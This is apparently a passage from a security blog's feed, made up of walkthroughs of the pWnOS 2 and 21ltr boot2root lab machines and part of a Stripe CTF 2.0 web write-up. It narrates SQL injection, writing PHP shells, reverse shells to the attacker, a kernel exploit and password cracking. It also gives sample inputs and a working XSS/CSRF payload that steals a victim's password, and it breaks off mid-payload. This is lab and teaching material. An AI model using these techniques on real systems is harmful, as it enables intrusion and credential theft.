The attacker goes back to the meterpeter shell on the target, and starts collecting information that might be useful and may aid them in discovering a method to escape privileges. To start with, they discover basic information relating to the operating system, such as: which user they are currently using (along with the user’s group value), various information relating to the kernel (name, hostname, release, version, hardware name, processor type, hardware platform and operating system) and hostnames. Next they identify what operating system the target is using and its version. Afterwards they move onto what’s currently happening on the target regarding current network connections and running processors. After that, they start to explore the target’s file system and soon learn the current path they are in, what files exist in the web root folder and what files are in “/var” (“Normally” it’s used for files which are “meant” to be changed when the operating system is generally running).

Upon searching the filenames located on the target, the attacker saw an “interesting” filename, that was duplicated in the web folder and /var folders. They view the contents of the file; finding the file is used by the web server to interact with the database as the file has hard coded clear text credentials in it. However, the password values differ between the files.

From the port scan at the beginning and when they emulate the target (by its network activity and running processors), the attacker knows there is a SSH service running which allows for remote access into the system. By viewing the configuration of the SSH service they discover that “root” login is enabled. The username “root” matches the username inside the database files, so the attacker tries to SSH into the box using root as the username. They then match up the rest of the credentials from the database configuration with the password. The web root folder password fails, however, the password from /var, allows them to gain access into the system as the super user, root.

Notes

Camtasia Studio has few issues, for example; when rendering highlight boxes, they are produced unevenly as well as inserting a few black frames in random places. There is nothing I can do about this for the moment and I will re-render it at a later date when there has been an update.

The readme file, says this is a “pre-release” (which came out in 2011-07-04).

The log files (_history, /var/log/apache2/, etc) haven’t been wiped from the VM before releasing.

]]>2012-09-19T00:38:00+01:00https://blog.g0tmi1k.com/2012/09/pwnos-2-sql-injectionThis is the second release in the ”pWnOS” vulnerable machine collection, however, it has a different creator from the previous one (which explains why it has a different “feel” to it). As before, it has purposely built in “issues” allowing the machine to become compromised. This method uses a SQL injection flaw (see here for exploiting the PHP web application). As always with ”boot2root” machines, the end goal is to become the super user, “root”.

Walkthrough

By reading “pWnOS_INFO-2_0.txt” (aka the readme file), the attacker discovers the IP range which the target is using, as well as the network configuration of the target (it’s using a static IP address of 10.10.10.100/24). The attacker confirms the given information, by sweeping the network range and detecting a single node on the specified IP address, by using “net discover”.

After the attacker has changed their IP address to match the target’s subnet, they then set out to discover what services the target has publicly exposed. “Unicorn Scan” quickly scans every TCP and UDP port belonging to the target, to reveal TCP 22 (SSH) & TCP 80 (HTTP) open. The attacker chooses to verify unicorn scan findings by repeating to scan every TCP port using “nmap”. At the same time as scanning, they opt to use nmap’s scripting engine to start emulating the services. This allows for the attacker to gather more information relating to the target. Nmap also confirms the same ports are open, plus the default ports are used for the default services (for example SSH access on port 22 and a web server running on TCP 80). The SSH service is normally used to remotely execute commands, and, due to its nature, normally requires a form of authentication before the user can access the service, so the attacker focuses on the web server… for now!

The attacker interacts with the web server, by using “Firefox” to graphically render the web application on the target. Upon viewing the page, the attacker is presented with a form to fill in, to gain access to use the web application. On the right hand side, is a very small navigation menu to “home” (which asks the attacker to login), “register” (allowing them to gain access) and to “login” (same as “home” link). In the login prompt, the attacker fills in the first field (the email address), with a single quote “’” and the password as “123”. The justification for this is when web applications normally interact with backend databases; the command used to query the database consists of single quotes, around the variable(s). By adding an additional single quote, the attacker is able to see if the input fields have been sanitized (escaping and filtering values), which would protect the query command from being altered. The result of adding an extra single quote has led to the query command being left “open” as it hasn’t got a closing/matching quote, that means the database can’t be queried which causes an error. Because of the way the web application has been created and the web server is configured, the end user is displayed as an error message (and by the looks of it a very detailed ‘debug’ message which is used for developing applications). Inside the error message, it displays the failed query command which was sent to the database, this makes crafting an input value, to manipulate the database how the attacker chooses, very easy.

As the attacker is going to be sending multiple requests to the target, in order to emulate the database, they use “burp proxy” to help construct the attack. The attacker starts burp to behave as a proxy, capturing all the data which will be sent through it, without modifying any requests. Afterwards the attacker then changes firefox’s network settings to use burp as the proxy, meaning all the traffic, sent and received, in firefox will be monitored by burp.

In order to perform an error based SQL injection attack, due to the hardcoded commands before the injection point, the attacker needs to emulate the table structure to use ”union” to ‘select’/view values to alter the perform query. The first thing the attacker needs to know is the amount of columns used in the table into which they are injecting.

The attacker goes back to the input form and enters in the email field an SQL command which is used to specify a column in the database, ”ORDERY BY”. Inside burp, the attacker sends the requested value to burp’s “intruder” feature. The attacker selects the area in the requested field, which each time will be modified. By using the “number” payload, each request will have a different numeric value. The attacker chooses to start at 1, ending at 10 and increasing in value by 1 with each request. If the returned result isn’t what the attacker was expecting, they can increase the range and repeat the request. The attacker looks at the data which was produced due to each request. They look to see which column was first requested that caused an SQL error due to a column not existing. For this web application, the value was “9”, therefore there are “8” columns in the database.

The attacker tries to see if they are able to view the output value of their injected command. They now test the web application to see if it displays a certain table column in the end user’s display. “Repeater” is another feature of burp, which allows for complete control and makes it easy to modify each request. The attacker crafts the query to cause a unique value to be displayed from each column from the database and they then try to see if they can locate any of the values in the web application. They soon discover that, column “4” is displayed publicly; therefore all the requests the attacker makes, which they wish to see the result of, must happen here. Using this, the attacker now discovers: the database user for the web application, the version of the MySQL and the database name being used.

The attacker progresses by instead of emulating the database, targeting the operating system. They start off by trying to discover the user accounts which have access to the system, by “loading” (”load_file”) the file, “/etc/passwd”, which contains various pieces of information on all the users. Upon requesting the file, the returned value is empty, which indicates to the attacker their input could have been filtered. A possible method of getting around this issue is to change the format of the requested filename to hex. Using the “decoder” feature in burp, the attacker converts the value into “ASCII hex”. After placing the encoded value in the request, the attacker is now shown the contents of the file. Now using this method to read files, the attacker makes various requests to other files which could help them to understand how the target’s operating system works. The first file they try to access uses a wild card value, “*”, which returns all the matching values, however, like before, when the attacker didn’t use hex, the value returned was blank. Using their own system to match the wildcard value they attempt the request again. This time it succeeds, showing the operating system type and version. (Editor’s note: see here for more possible values).

As the attacker now knows the operating system & software used and their versions, they try to read the default paths for their configuration files of the web server. By doing so, the attacker now knows the physical location of the web root folder on the operating system (as it turns out, it’s also the default location).

With the information gathered, the attacker tries to write their own file to the target in the web root folder. This would be accessible via the web service. In order for this to work, the database user needs to have permission to write files, as well as the web root folder being writable to MySQL user. The attacker hasn’t checked to see if they have either permissions, however, they still try to write a simple PHP file, which when executed, performs the given command and displays the output (See passthru). Upon calling the file from the web server, along with the command, to display the current user, the attacker sees the result. This allows for the attacker to now execute commands with the same privileges as the web service.

The attacker now wishes to upgrade their method of executing commands, and would like to have an interactive shell. They search to see if “netcat” is installed on the system, they discover it is. However, it is the “wrong” version for their needs. The OpenBSD version of netcat, doesn’t have the “-e” argument, which allows for a program to be executed after a connection has been established, thus they are not able to create a shell using this method.

Instead, the attacker uses PHP to create a shell. Pentest Monkey’s PHP reserve shell is able to connect back from the target to the attacker by using just PHP functions. The attacker makes a copy of the file, updates it so that it uses their IP address, encodes it, then writes it as a new file on the target’s machine. Because it is only executed when someone visits the page, the attacker quickly creates a listener to wait for the PHP shell to connect into. After the attacker “views” the page on the target, it causes the PHP code to be executed, causing a connection back to the attacker. The result, the attacker now has a interactive shell on the target.

(Editor’s note: This is optional. The method below is a repeat of the stage(s) before, but is performed in a quicker manner.)
The attacker then repeats exploiting the same injection vulnerability, however using an automated tool, “sqlmap”, which simplifes the process. As burp is no longer being used, the attacker removes the proxy configuration from firefox (as well as quitting burp). Before repeating to submit values into the login form again, the attacker enables the add-on, “Tamper Data” (it comes with backtrack, however, its disabled by default). This firefox add-on, allows for the attacker to easily view the header data which is sent and received from the target’s web server.

By taking the value captured from tamper data, when data was submited in the login form, the attacker feeds it into SQLMap, along with which URL to use and the field which is vulnerable. As before, the attacker uses the email field as the injection point for their SQL values. This is due to the error message displayed, as the password field is being altered before its being processed by the database (the value has been hashed by a SHA1 format).

SQLMap now makes all the requests and is able to find the vulnerability, exploits it and reports back to the attacker the result, along with all the information gathered. The attacker then repeats emulating the database itself and the back end software used. The attacker makes SQLMap fully automated plus only displays the “core”/ necessarily output when requesting the “usernames” and “password” (which SQLmap tried to crack the hashes for). Afterwards the attacker requests all the database names in the MySQL server and gets sqlmap to display as much as possible to show the method in which it works. From there, the attacker then finds all the tables in the target’s database, “ch16”, with their field values, along with the number of entries, then the contents. After that, the attacker gains a ‘SQL shell’ on the target, and then reads the same user file, and lastly, ends with an ‘OS shell’ to gain remote command line access on the target.

Using the first interactive shell, the attacker starts to emulate the targets machine in order to escape privileges. To start with, they discover basic information relating to the operating system, such as: which user they are currently using (along with the user’s group value), various information relating to the kernel (name, hostname, release, version, hardware name, processor type, hardware platform and operating system) and hostnames. They then move onto what’s currently happening on the target, with network connections and running processors. Afterwards they start exploring the target’s file system. After learning the current path, they check to see what files exist in the web root folder and look in “/var” (This “normally” is used for files which are “meant” to be changed when the operating system is running generally).

The attacker spots an “interesting” filename, which also happens to be duplicated in the web folder and /var folder. After viewing the contents of the file, the attacker sees the file is designed to be used for the web server to interact with the database. As a result, the file has hard coded clear text credentials in it; however, the password values differ between the files.

Due to the port scan at the start and emulating the target (its running processors and network activity), the attacker is aware the target is running an SSH service allowing for remote access into the system. The attacker views the configuration to see how the SSH service is running, and discovers that “root” login is enabled, which matches the username from the database files. At this point, the attacker tries to SSH into the box, matching the credentials in the database configuration. When they use the password from the web root folder, access is denied, however, when they use the second file from /var, they gain access into the system as the super user, root.

Notes

Camtasia Studio has few issues, for example; when rendering highlighted boxes, they are produced unevenly as well as inserting a few black frames in random places. There is nothing I can do about this for the moment and I will re-render it at a later date when there has been an update.

The readme file, says this is a “pre-release” (which came out in 2011-07-04).

The log files (*_history, /var/log/apache2/*, etc) haven’t been wiped from the VM before releasing.

]]>2012-09-14T10:30:00+01:00https://blog.g0tmi1k.com/2012/09/21ltr-scene-121ltr is another boot2root collection, with its own unique twist. It has various ‘issues’ with the operating system, which have been purposely put in place to make it vulnerable by design. The end goal is to become the ’super user’ of the system (aka ‘root’). There is an optional stage afterwards, in which the user can try and find the ’flag’, proving (to themselves) that they successfully completed it.

Walkthrough

The README of this challenge gave the attacker the scope of the attack as well as the network configuration (the target is using a static IP address). By using “Netdiscover”, the attacker was able to confirm that the target is located in a different IP range from themselves (192.168.2.x).

After moving to the new IP range, the attacker port scans the selected target, which reveals any services that are running on open ports. By using “UnicornScan”, it displays that there are only three open ports; TCP 21 (FTP), TCP 22 (SSH), TCP 80 (HTTP). The attacker checks Unicorn Scan’s results by using “Nmap”, but only scanning for TCP services. Nmap confirms the same result as before, however, the attacker uses nmap scripting engine to start emulating the services, allowing for the attacker to collect more information on the target. FTP primary function is for transferring files, SSH is used to remotely control the machine and HTTP is used to display web applications. SSH normally requires some form of credentials with which to use the service, whereas FTP can allow for anonymous usage; it is much more common for a web service to allow anyone to interact with it. Using this, the attacker views the default web page on the target’s machine, using a graphical web browser, “firefox”, to render the page’s output.

By looking through the source code which is displayed to them, the attacker notices that hidden away from the displayed view are comments in the code, which appear to be a username and password.

The attacker keeps pursuing the web service, with the aid of “DirB”. Once DirB is running, it will try and connect to all the combinations of folders and pages in a wordlist on the target’s web service, and display the results. This allows for pages to be exposed that normally wouldn’t be, unless the address is known (e.g. there aren’t any hyperlinks pointing to the pages). One of the results from the default wordlist matches the username which was discovered in the source code from before. DirB reported when it tried to access the folder and the web server responded with “403”, meaning it doesn’t have permission to access that folder for a certain reason. The attacker repeats the same request, however, this time uses curl to access the page. The error message doesn’t exactly say why they are not allowed to access the page. The attacker knows this could be for multiple reasons, for example; not authenticated, missing an index file and directory listing is disabled, file permissions on the web server etc.

As the attacker has seen multiple occurrences of the word ‘logs’ (e.g. in the web page’s source code, hinting at a username, plus it’s the name of the hidden web folder), the attacker tries the credentials for the FTP service. The consequence of using it is that it has logged the attacker into the FTP service, to display a single file, which the attacker downloads. Accessing the file offline, the attacker understands that the file is for ‘Intranet Dev Server Backup Log’. The code itself contains PHP tags plus looking at the file extension, the attacker spots that the server could have PHP installed.

As there was only one file inside the ftp folder, a reason why the hidden web folder was returning 403, could be there isn’t an ‘index’ page to display once inside the sub directory. The attacker goes back to the cURL which they made before and amends the filename that was downloaded. This time, the request displays the source code to the page, after it has been processed on the server. This means that:

The file requested was valid (so the attacker has discovered a ‘hidden’ file in the hidden folder)

The attacker could have the source code for the file (The files might be different!)

If it is the same, then it appears PHP is successfully installed and is able to process code

The ftp folder could be inside the web folder

The attacker now looks at the web page, and makes a note of a few things:

It’s a log page for the backup system (Web page title)

It’s not reading any values, therefore a different process has to update the log file (FTP offline file)

In the error log, the IP address is ‘static’ (192.168.2.240)

When the errors happen in the logs, the time has a pattern (7 requests, all happen at “something-one” minute). Therefore is there a scheduled event?

Using the information above, the attacker changes their IP address to match the one that was displayed on the page as well as continuously port scanning the target. After waiting a while and monitoring the port scan results, the attacker notices that a port opens up after a while (Editor’s note: You’ll never have to wait more than 10 minute)! The attacker then stops the looped port scanner and starts to continuously trying to connect to the new port, TCP: 10001, for when it is to open again. By using ‘Netcat’ the attacker is able to create a RAW socket, thus allowing them to interact to any service that is running. Therefore, there will not be a clash/mix in incorrect services as it is unknown.

As the attacker is waiting to see if the port will open up again, they think to themselves ‘If there is a service opening up, possibly for backing up, which is waiting for some form of activity, maybe it is creating activity also, by trying to attempt to connect out.’ The attacker then starts to log if any TCP or UDP connections are made to them.

After waiting a while, the port opens up again on the target, and there is a new event in the log file, also relating back to the target as the source address. The attacker sets up a listener to monitor the requested port and to capture all the data which will be sent to it. They place this aside for the moment (Editor’s note: I’ll come back to this at the end of the write up). The attacker goes to the open raw connection to the target and enters ‘?’, which is a common command for help. However, remote service didn’t response, but kept the connection open.

The attacker now has a couple of options: try the SSH service, or, go back to either the HTTP or FTP service, to see if they missed anything ‘hidden’. As SSH is more secure than FTP and allows the use of ‘keys’, looking at the complex FTP password the attacker believes that the target would use such authentication, thus has this lower down on the priority. This is also the same reason why they didn’t try and brute force the FTP login. This means searching the web service again, trying to find something else hidden, exploiting the services or fuzzing the mysterious port. The attacker didn’t notice any other clues/hints left for any ‘hidden’ gems, and currently there are not any public exploits for the versions of the software which is running on the target. As the unidentified service running didn’t display a banner or response to the attacker’s request, identifying the protocol in order to fuzz would be time consulting. Plus, having the port open once every ten minutes for a single connection dynamically increases the possible time required for fuzzing. The only bit of information regarding the service the attacker has collected, was the port number, which they could try to lookup what default service(s) uses it, however this a very weak link as port numbers can easily be altered. So without local access to the system or source code, the attacker believed that it would be extremely difficult to locate a vulnerability in this unknown service. This leaves going back to the HTTP service.

The attacker starts repeating the same requests as before, to see if they missed anything. However, upon requesting the backup log page, the attacker notices a “?” at the end of the file, which wasn’t there before. As this matches the value that was sent over the open port, the attacker attempts to send some PHP code that allows for requested values to be executed locally as commands on the system. After trying a simple command to identity who the current user is logged in as, the attacker notices that the returned page contains a new value. The attacker now cuts off the top of the log page, and as a result, has a very basic method of executing commands and displaying the result. The attacker then tries to improve the current interaction by gaining a better method to execute commands. The attacker searches for ‘netcat’ on the target’s machines and discovers that it has it installed along with the location of the file. The attacker then locally setup a netcat listener to capture a connection, then causes the remote machine to connect back to the attacker and to execute a bash shell afterwards. The attacker now has a remote access into the target’s system and is able to execute commands. However, the shell that they are using to listen with is non-tty, which limits their actions. The attacker can improve this by replacing their local listening netcat with ‘webhandler’ listening in its place. The attacker demonstrates the improvement of webhandler over netcat by showing webhandler responses, just like terminal and an SSH connection, with the arrows on the keyboard. After reconnecting again, this time with the terminal window re-drawn, the attacker starts to explore the target’s file system.

Inside the “/media” folder, the attacker notices that there is a USB stick plugged in (editor’s note: this has been emulated by 21ltr) and along with a few PDF files, the attacker spots what possibly could be an SSH private key. The attacker opens up the files, in which appears to be a valid SSH private key along with the username to whom it belongs. The attacker downloads the file locally to their machines and prepares the file so it can be used.

When the attacker interacts with the SSH service, with the SSH key and username gained from the USB stick, they discover they now have access into the system as another user. When checking to confirm which user they are logged in as, the attacker notices that the user account they are using is also a part of the ‘wheel’ group. The attacker is aware this user group often allows for ‘extra’ system privileges that ‘normal’ users are unable to perform. After confirming that this group has a certain amount of ‘additional’ privileges, the attacker sets out to discover which restricted commands they are able to execute. Instead of trying all the commands and comparing the values, the attacker tries to open the file which is responsible for the privileges of command execution as another user. However, they are displayed with a message, saying they are not allowed to view it. So the attacker has the ability to possibly execute a privilege command, but they are not aware of what the command is.

The attacker checks the kernel version of the operating system as this is a common method of escape privileges. After matching up the version from ‘exploit-db’ which is a public database of exploits, the attacker tries the UDEV, which affects multiple versions of Linux kernels, that executes a command as the super user, root. The attacker checks the exploit code to make sure it’s valid and will compile without editing. Then they see if the target machine has a c compiler, gcc installed locally on it, which it doesn’t. This means they will have to compile locally and transfer it to the target (cross compiling). After compiling it locally and checking the status of the output, the attacker checks the source code for instructions to successfully execute the exploit. After transferring the exploit to the target’s machine, using secure copy (which has been enabled on the SSH service), the attacker creates the file that will be executed as the super user. The attacker then crafts a payload to change the file permission of the sudoers file, which will allows anyone to read it (as well as write!), which they were trying to access before, but failed. (Editor’s note: I could have skipped out the following stage and gone straight to the shadow file - however, I wanted to demonstrate the power of the wheel group, along with its ‘flaws’).

When the attacker tries to read the same file as before, this time the attacker is allowed, as the UDEV exploit ran (allowing anyone to access that file). The attacker notices that if they are to use “sudo cat”, whoever is in the wheel group, is able to access any file which the super user would be able to, without being prompted for a password (which the attacker doesn’t know, as they are using the SSH key to gain access)! The attacker now tries to use the information that they just acquired, to read the shadow file, which normally contains the credentials for every user account on the system, which is normally only accessible to the super user. However, upon requesting access to the file, the command fails, due to incorrect permissions of the sudoers file - which is a security protection. The attacker then updates the udev payload, to modify the file permissions back to how they were before the exploit was first executed. This time, when the attacker tries to open the password file, they are presented with the contents of the file. The attacker now breaks out of the SSH connection, and executes the SSH connection once more, however, this time, only to execute a single SSH command and to pipe the output into a file. The attacker uses the same command in which to view the password file, thus they are able to transfer the target’s password to their machine.

Now the attacker is able to try and brute force the target’s passwords offline by using ‘John The Ripper’. After the first basic attempt of trying to crack the password hashes, the attacker discovers the super user’s password, “forumula1”.

The attacker once again connects back to the target’s system by using SSH, and switches users to the super user. When they are prompted for the password, they use the value from John The Ripper, and they are now the super user.

Game Over

The attacker then starts exploring the file system, as they now have complete access in the system. They move to the other user’s home folder, and list the contents of every sub folder in it. They spot an ‘interesting’ file name, ‘payroll’, in one of the user’s account trash bin, where they have deleted it, but haven’t yet removed it from the system. This allows the attacker to display the contents of the file.

Game Over…again

The attacker then goes back to the listening netcat, where they were waiting for the ‘mysterious port’ to open (which they now know is meant for the use of the backup server to echo their response into the log file). Since performing the attack on the target, the connection has closed. The attacker then uses ‘file’ to check the file header of the output data collected, and discovers that the data recovered was a compressed archive. After extracting the file, there was only a single file, which was also compressed, however, in a different compression format. Once the second archive was extracted, the filename of the archive along with the extracted files, identified that the service which made the connection from the target to the attacker was “PXELINUX”, which is used to boot Linux from a network server.

]]>2012-09-03T01:05:00+01:00https://blog.g0tmi1k.com/2012/09/stripe-ctf-20-web-editionStripe hosted another ‘Capture the Flag’ (CTF) event. They previously did one back in February 2012 which contained 6 flags - however they were back with the ‘web edition’ going from level 0 to level 8 covering a range of web attacks. This is how I did it.

Please note: The event is now over. If you wish to do this yourself, you will have to download the codeand do it offline.

Upon completion, the user is given a key (aka a ‘flag’), which they can then enter into the control panel, that unlocks the next stage/level. The source code for each level is available if requested, therefore we are able to go about in a white-box testing manner. When signing up to Stripe, for each stage the contestant was generated a random username for that puzzle, and they were spread over multiple servers.

Level 0 - Secret Safe

‘We’ll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets. It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes…’

After looking at the source code, the attacker spots a few key lines in the code, for example:

File: level00.js, Line: 06

1

sqlite3=require('sqlite3');// SQLite (database) driver

File: level00.js, Line: 34

1

varquery='SELECT * FROM secrets WHERE key LIKE ? || ".%"';

The attacker knows which database is powering the project (SQLite), and the query command that is being used. The query command is using ’LIKE’, followed by the user’s input, then the use of ’%’ in the query is wildcard in SQLite, causing it to select everything after the full stop.

The expected input was meant to be a username, and then the project selects everything related to that user. However, if the attacker uses the same wild card ‘%’ as the username (as the user input isn’t sanitised), it causes the database to select everything from all the users. This reveals the flag for the next level (contained in secretstash-.level01.password).

In short: The use of % acts as a wild card to select all the values in the database.

Input: %

Level 1 - Guessing Game

‘Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you’ll be given the password to access Level 2! We’ve been assured that this level has no security vulnerabilities in it (and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn’t be able to extract the password anyway), so you’ll probably just have to try all the possible combinations. Or will you…?’

The first line is loading in the file which is the combination (aka the password) to reveal the key. However, due to the next line containing the ’extract’ function; the attacker can use this to their advantage. They can do this as ‘extract’ takes the requested inputs variables (e.g. from $GET, $POST etc.), and at the same time overwrites the current values, therefore, the attacker can alter the variable for ‘$filename’ (which contains the combination).

After checking to see if the variable ‘$attempt’ has been set (which the attacker can do due to the use of extract), it tries to read a file which has the name set to the value of ‘$filename’. However, if the attacker has altered the value to a file which doesn’t exist (e.g. ‘blank’ - no file), the function will fail with a value of ‘false’.

This value is compared to the value of ‘$attempt’. If it matches then the key will be displayed.

The attacker has already had to define the ‘$attempt’, but if they don’t set a value to it (e.g. ‘blank), it will match the return result (false) of the failed request for a file ($filename), thus displaying the key.

In short: by using PHP’s extract function, the attacker can set/overwrite values which will match by returning false to show the key.

Input: ?attempt=&filename=

Level 2 - Social Network

‘You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at https://level02-3.stripe-ctf.com/user-xtpnikecaz. You may even be able to find the password for Level 3 by doing so.’

As soon as the attacker inspected the project, the attacker saw that the social network allows for pictures to be uploaded. Looking at the code the attacker spots a few things:

File: index.php, Line: 09

1

$dest_dir="uploads/";

File: index.php, Line: 44

1

<inputtype="submit"value="Upload!">

File: index.php, Line: 49

1

<ahref="password.txt">password.txt</a>

The attacker is aware that the code which is in-place doesn’t check what is being uploaded to it, and will also attempt to upload any file regardless of the type.
They are also able to identify the local path for the upload location, as well as where the key is being stored.

By using the inbuilt form to upload a PHP file which ’file_get_contents’ (same function from level 2), the attacker is able to go back from the upload folder (directory traversal), and read the key file.

In short: Due to the setup of the PHP application, the attacker is able make a ’Local File Inclusion’ vulnerability by crafting a file in which to directory traversal to read any file.

Level 3 - Secret Vault

‘After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.’

As the attacker is able to glance at the backend of the project, they are able to identify potential weaknesses in the application.

This is similar to level 0 (as it is based on it!), by the back-end database using SQLite3 and it being vulnerable to SQL injection (SQLi). They have updated the system to use ’hashing’ (with salt) and ‘namespaces’ have been replaced to use usernames & passwords.

The code works by asking for a username & password and looks up the values in a database. If the username is also in the database, it then calculates the hash of the password entered and compares the value to hashed password stored in the database for the same username. If these values match up, they are logged in. However, the attacker is able to inject into the database query in-which they are able to modify how the values are looked up as the user input is not sanitised.

This SELECTs the data which is wanted when the command is injected. A valid known username is required as this is the user the attacker wishes to become. This allows for the attacker to specify a different ID value compared to the hash value which will be tested for.

'<known hash>,'<known salt>'

As the web application is going to process the input, the attacker needs to enter known values which will always return true, allowing for the web application to believe the input is valid and continue.

--

Closes the injected SQL statement, as this is a SQL comment. This means everything after the original SQL statement point which was injected from, isn’t processed. Therefore, the injected statement isn’t altered.

Therefore the original SQL statement’s WHERE command will fail as it’s now blank, therefore it will process the UNION command, with the attacker’s SELECT values set to where they are able to request a different username compared to the known hash & salt which was entered. As the hash value is correct for the password entered the web application will allow the attacker to process their request and login (using a hash & salt for a different user). After the attacker spoofed the login, they are presented with the flag for the next level.

In short: The attacker is able to specifically request a username different from the hash and salt in the database.

Level 4 - Karma Trader

‘The Karma Trader is the world’s best way to reward people for good deeds: https://level04-2.stripe-ctf.com/user-<username>. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.’

*Removed username*

Upon peeking at the internal workings of this web application, the attacker sees:

Therefore the attacker is aware that there is another user using the system (and when they are using it). As a result of this the attacker decides to target this user instead of the internals of the application. After looking though the code, the attacker notices that when creating a new user, the username input is filtered.

File: srv.rb, line: 159

1

unlessusername=~/^\w+$/

However, the password field isn’t. Due to the nature of the program, as the password of the user who sent the karma is displayed to the user who received it, the attacker is able to inject code into web pages, so the application is vulnerable to cross-site scripting (XSS). As the password is a stored value on the server, the XSS is persistent! The attacker chooses to create a ’Cross-Site Request Forgery’ (CSRF) as the code to be injected via the XSS. The CSRF will have the payload to automate sending karma back to the attacker, thus the target’s password will also be sent back to them (along with the karma points!).

The attacker then crafts the CSRF in JavaScript, and takes into consideration the environment of the web application it will be performed in. The attacker finds the form in-which the necessary information is required in which to send karma, and makes a note of the variables used in it (‘to’, ‘amount’ and ‘Submit’).

The karma form doesn’t have an ID, the JavaScript can still use the form as there isn’t another form, therefore using the document object with the array set to 0, the JavaScript is still able to locate/identity the form and use it.

The JavaScript payload will look like this:

1

<script>varx=document.forms[0];x.to.value='<username>';x.amount.value='<amount of karma>';x.submit();</script>

When the values have been replaced with the necessary information for the environment, the payload is placed into the password field when creating a new user.

The payload can only be triggered if the password is visible to the user, which can only happen if the evil/malicious user has sent them karma. Therefore using the malicious user, when they send karma to the target, as soon as they login into the system, the targets user’s password will be visible of to them (as this is the nature of the application). However, it will contain a XSS (something the attacker will take and use to their advantage), causing a CSRF making the target automatically send karma back to the attacker and as this is how the system functions, their password will become visible to the attacker. Once the karma has been sent, the attacker just needs to wait for the target to login. Using the system again, the attacker can refresh the home page, to see when the target has been active on the application.

In short: The attacker inserts a XSS/CSRF to automatically send karma payload into the password field of a user account, then sends karma to the target in-which will cause the payload to execute and waits for the target to login.

Level 5 - Domain Authenticator

‘The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either “AUTHENTICATED” or “DENIED”. If “AUTHENTICATED”, the site considers you signed in as a user for the pingback domain.’

This means, that if the pingback URL was to be from ‘.stripe-ctf.com’, then they can authenticate it. However, if it was from ‘level5-[0-9].stripe-ctf.com’, then the user will be authenticated to it and also show the password (aka the key), anything else will not let them authenticate. This means the attacker needs to trick the system into using a spoofed pingback URL.

The next issue was the variables from the form that can be loaded from either POST or GET requests.
The last issue is that the only validation the application does is, if the pingback URL displays AUTHENICATED with a ’word character’ before and after it, the user details which were submitted were correct.

The attacker remembers that they still have access to level 2, which allows them to upload any file onto the server ‘level2-*.stripe-ctf.com’, which is valid for the pingback URL, to allowing the attack to become authenticated. The attacker then creates a static page to always display the word ‘AUTHENTICATED’ along with a carriage return and a linefeed either side of it, which will satisfied the authenticated function which checks to see if the pingback displays the login as valid & successful.

The attacker tries out the new static page to see if their pingback URL works, allowing them to authenticate it by using any username and password. However, as the pingback URL doesn’t contain level05-[0-9], the password for the user isn’t displayed.

User web application pingbackurl

User level 05 level02

Upon executing this request, the attacker is able to authenticate as ‘level05-[0-9].stripe-ctf.com’

User level 05 level05 level02

The reason why this satisfied all the necessary requirements when checking to see if the user is authenticated is because of the pingback page. Because the use of carriage return and linefeeds, it manipulates the page source code when it is requested as each time the word ‘AUTHENTICATED’ is on a new line. Upon being authenticated by the pingback URL, the attacker goes back to the homepage and refreshes the page. As a result, the session has been updated and displays the key to the user.

In short: The attacker was able to chain together multiple requests to spoof the source URL address to a page which would always authenticate any given credentials.

Level 6 - Steamer

‘After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends.

As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.’

When the attacker was scrolling though the source code they noticed the following function:

File: srv.rb, Line: 26-37

123456789101112

defself.safe_insert(table,key_values)key_values.eachdo|key,value|# Just in case people try to exfiltrate# level07-password-holder's passwordifvalue.kind_of?(String)&&(value.include?('"')||value.include?("'"))raise"Value has unsafe characters"endendconn[table].insert(key_values)end

Which could cause an issue, due to the hint left in the briefing that the key (which is the target’s password), contains such blocked characters and the attacker wouldn’t want the post to be rejected because of it.

After signing up to the application, the attacker surfs around to use the service and notices their password is displayed in clear text when they visit ./user_info. They then confirm this by looking at the source code:

File: user_info.erb, Line: 11

1

<td><%=@password%></td>

Like level 4, there is a user (who so happens to be the target) who is frequently visiting the site, and the attacker again decides to target the user and exploit/take advantage of a feature in the application rather than the internal working of the application. Unlike level 4, there are additional security measures which have been put in place, for example, the escaping the apostrophes and quotes which have been mentioned before as well as ‘anti-csrf token’ system:

File: home.erb, Line: 32

1

<%=csrf_tag%>

File: srv.rb, Line: 98-101

1234

# Insert an hidden tag with the anti-CSRF token into your forms.defcsrf_tagRack::Csrf.csrf_tag(env)End

*Please note: This is only a sample of the anti-csrf protection!*

The attacker keeps using the application and starts to look for an area in the code in which they can attempt to attack. They start off by looking at how posts/messages are displayed on the page to other users. They notice the following:

This means that when a message is displayed to the end user all the messages are stored together in JSON (‘post_data’) inside a JavaScript function, and then, each value in turn is sent to a different JavaScript function ‘addPost’. Afterwards they are added into the page dynamically. Before they are added to the page, the data is processed by ‘escapeHTML’. This function places the value which is sent to it, in its own ‘div’ tag.

The attacker has learnt where their input data will be placed in the application, the process of what will happen to it before it will be displayed on the script, end the end destination of being executed by the target user. Now the attacker needs to figure out how to exploit the target by making them open the ‘./user_info’ page, extract the password value from it, replace any restricted characters and then create a new post which contains the target’s password. All of this needs to be encoded in a way that can’t use any of the apostrophes or quotations.

As JSON isn’t affected by HTML code, by using ’</script>’ at the start of the message to be posted, the attacker is able to escape the current <script> in which ‘post_data’ is contained. Adding ’<script>’ afterwards allows the attacker to insert code into the page which can be executed on the target’s machine, thus the web application is vulnerable to XSS.

The attacker then starts to craft their XSS. A breakdown of it is as follows:

</script><script>

